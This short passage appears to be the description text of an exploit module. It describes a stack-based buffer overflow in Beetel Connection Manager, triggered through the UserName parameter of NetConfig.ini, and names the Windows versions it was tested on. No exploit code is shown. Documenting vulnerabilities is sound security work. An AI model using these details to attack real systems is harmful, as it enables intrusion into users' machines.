        This module exploits a stack-based buffer overflow on Beetel Connection Manager. The
        vulnerability exists in the parising of the UserName parameter in the NetConfig.ini
        file. The module has been tested successfully on PCW_BTLINDV1.0.0B04 over Windows XP
        SP3 and Windows 7 SP1.b
